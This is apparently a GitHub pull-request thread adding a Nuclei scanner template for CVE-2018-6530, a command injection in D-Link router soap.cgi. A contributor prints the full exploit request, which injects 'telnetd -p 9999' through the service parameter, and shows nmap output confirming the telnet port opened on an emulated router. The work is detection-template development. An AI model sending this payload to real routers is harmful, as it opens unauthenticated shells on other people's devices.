Create CVE-2018-6530

[gy741]

Template / PR Information

Hello,

Added CVE-2018-6530

OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.

• References: https://github.com/soh0ro0t/Pwn-Multiple-Dlink-Router-Via-Soap-Proto

Template Validation

I've validated this template locally?

• YES
• NO

[DhiyaneshGeek]

@gy741 is it possible to share some set-up instructions to build a vulnerable environment ?

[gy741]

Hello, @DhiyaneshGeek Because this vulnerability occurs in embedded systems, you must use an emulator such as the qemu emulator.

Ref: #5976

However, the setting method is different for each firmware.

I'll try the analysis.

[gy741]

Hello, @DhiyaneshGeek @princechaddha

I succeeded in constructing the environment.

But there is one problem to detect the problem.

I ordered to run the telnetd and checked the connection through nmap and telnet connect.

Is there any idea to detect telnet?

NMAP command before template execution:

root@karas:~# nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-17 00:09 EST
Nmap scan report for 192.168.0.1
Host is up (0.0021s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
8181/tcp  open  intermapper
49152/tcp open  unknown
MAC Address: 00:DE:FA:1A:01:00 (Unknown)

Template Execution Log:

root@karas:~# ./nuclei -t ~/test.yaml -u http://192.168.0.1:49152 --debug

POST /soap.cgi?service=whatever-control;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.0.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "whatever-serviceType#whatever-action"
Content-Type: text/xml

test

NMAP command after template execution:

root@karas:~# nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-17 00:09 EST
Nmap scan report for 192.168.0.1
Host is up (0.0041s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
8181/tcp  open  intermapper
9999/tcp  open  abyss    <------------------------ exploit
49152/tcp open  unknown
MAC Address: 00:DE:FA:1A:01:00 (Unknown)

I think, wget works, but I currently have no external internet connection available using the emulator environment. :)

[gy741]

I tried to verify the PoC using file creation, but

The file is not moved to the web folder that is accessible to general users.

Not sure if it's an emulation issue.